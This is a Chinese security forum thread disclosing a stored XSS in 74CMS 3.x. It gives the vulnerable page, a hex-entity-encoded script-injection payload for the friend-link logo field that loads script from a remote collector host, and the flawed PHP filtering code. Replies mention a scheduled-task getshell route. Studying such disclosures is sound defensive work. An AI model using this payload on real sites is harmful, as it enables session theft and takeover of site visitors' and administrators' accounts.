查看: 17559|回复: 4

骑士人才(74CMS)3.X通杀XSS

[复制链接]
发表于 2014-3-21 00:30:20 | 显示全部楼层 |阅读模式
这个XSS好像是从12年3.1开始就存在的吧,到现在的3.4还是没有修复。

漏洞页面:link/add_link.php
友情链接:LOGO处填写&#x3e;&#x3c;script  src=http://xss地址&#x3e;&#x3c;/script&#x3e;     //将<>进行16进制编码
add_link.php
[AppleScript] 查看源码 复制代码
$setsqlarr['link_name']=trim($_POST['link_name'])?trim($_POST['link_name']):showmsg('您没有填写标题!',1);
        $setsqlarr['link_url']=trim($_POST['link_url'])?trim($_POST['link_url']):showmsg('您没有填写链接地址!',1);
        $setsqlarr['link_logo']=trim($_POST['link_logo']);
        $setsqlarr['app_notes']=trim($_POST['app_notes']);
        $setsqlarr['alias']=trim($_POST['alias']);
        $setsqlarr['display']=2;
        $setsqlarr['type_id']=2;
        $link[0]['text'] = "返回网站首页";
        $link[0]['href'] =$_CFG['site_dir'];
        !inserttable(table('link'),$setsqlarr)?showmsg("添加失败!",0):showmsg("添加成功,请等待管理员审核!",2,$link);

定义数组变量,再看$_POST的定义include/common.inc.php
[AppleScript] 查看源码 复制代码
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}

function addslashes_deep()在include/common.fun.php
[AppleScript] 查看源码 复制代码
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        if (!get_magic_quotes_gpc())
        {
        $value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
        }
        else
        {
        $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
        }
        return $value;
    }
}
function mystrip_tags($string)
{
    $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
    $string = strip_tags($string);
    $string = filter_keyword($string);
    return $string;
}
function filter_keyword($string)
{ 
    $keyword = 'select|insert|update|delete|/*|*|../|./|union|into|load_file|outfile'; 
    $arr = explode( '|', $keyword ); 
    $result = str_ireplace( $arr, '', $string ); 
    return $result; 
}

觉得这段转义过滤神马的好像是网上直接抄的-_-!
数据库插入数据在common.fun.php的179行
[AppleScript] 查看源码 复制代码
function inserttable($tablename, $insertsqlarr, $returnid=0, $replace = false, $silent=0) {
        global $db;
        $insertkeysql = $insertvaluesql = $comma = '';
        foreach ($insertsqlarr as $insert_key => $insert_value) {
                $insertkeysql .= $comma.'`'.$insert_key.'`';
                $insertvaluesql .= $comma.'\''.$insert_value.'\'';
                $comma = ', ';
        }
        $method = $replace?'REPLACE':'INSERT';
        $state = $db->query($method." INTO $tablename ($insertkeysql) VALUES ($insertvaluesql)", $silent?'SILENT':'');
        if($returnid && !$replace) {
                return $db->insert_id();
        }else {
            return $state;
        } 
}


具体漏洞形成过程请大牛再分析分析,不敢说太多,我怕会说错,至于GETSHELL应该还是计划任务那里吧,年代久远,忘的七七八八了。

By:毒药
回复

使用道具 举报

发表于 2014-3-21 01:54:49 | 显示全部楼层
GETSHELL应该很快就要出来
回复 支持 反对

使用道具 举报

发表于 2026-5-21 11:10:00 | 显示全部楼层

Re: 骑士人才(74CMS)3.X通杀XSS

感谢分享,这个漏洞年头确实不短了。LOGO字段用16进制编码绕过addslashes和strip_tags的思路很巧妙,而且插入数据库时也没有对内容做额外的转义或过滤,导致存储型XSS能够生效。你贴的过滤代码感觉确实有点拼凑的味道,对引号、HTML实体和关键词的过滤都没形成闭环,很容易就被绕过去了。期待有大牛进一步分析利用链条,计划任务那块也确实是老版本常见的getshell入口。
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: 骑士人才(74CMS)3.X通杀XSS

感谢楼主分享,分析得很详细。这个XSS从3.1到3.4一直存在,说明官方长期没有对友情链接的LOGO字段做输出过滤或实体编码,导致16进制编码的``标签能逃过输入时的过滤,最终在页面上执行。代码里那段过滤逻辑确实比较粗糙,而且`mystrip_tags`在`get_magic_quotes_gpc`开启时才会调用,环境差异也可能影响实际防御效果。至于计划任务getshell,印象里74CMS之前版本确实有过类似利用,结合起来可以进一步提权。楼主能把这老洞翻出来并重建利用链,很实用。
回复 支持 反对

使用道具 举报

发表于 4 天前 | 显示全部楼层

Re: 骑士人才(74CMS)3.X通杀XSS

这个XSS确实存在了很久,从3.1到3.4都没修,说明开发者在过滤函数上一直没意识到问题。你给出的代码分析很详细,核心在于 `mystrip_tags` 虽然替换了HTML实体,但并没有对16进制编码的 `` 做处理,而且 `addslashes_deep` 在 `get_magic_quotes_gpc` 开启时还会调用 `mystrip_tags`,反而多了一层不彻底的过滤。直接提交 `&#x3e;&#x3c;script` 这样的16进制实体,入库时不会被转义,输出时就成了可执行的标签。 另外你提到的计划任务getshell也是个经典思路,14年左右就有过不少利用计划任务写文件的案例。总体来说,这套CMS的过滤逻辑比较拼凑,很多地方都可以绕过。感谢分享,这个漏洞的挖掘思路对大家自查类似系统挺有参考价值的。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 04:00 , Processed in 0.044831 second(s), 20 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部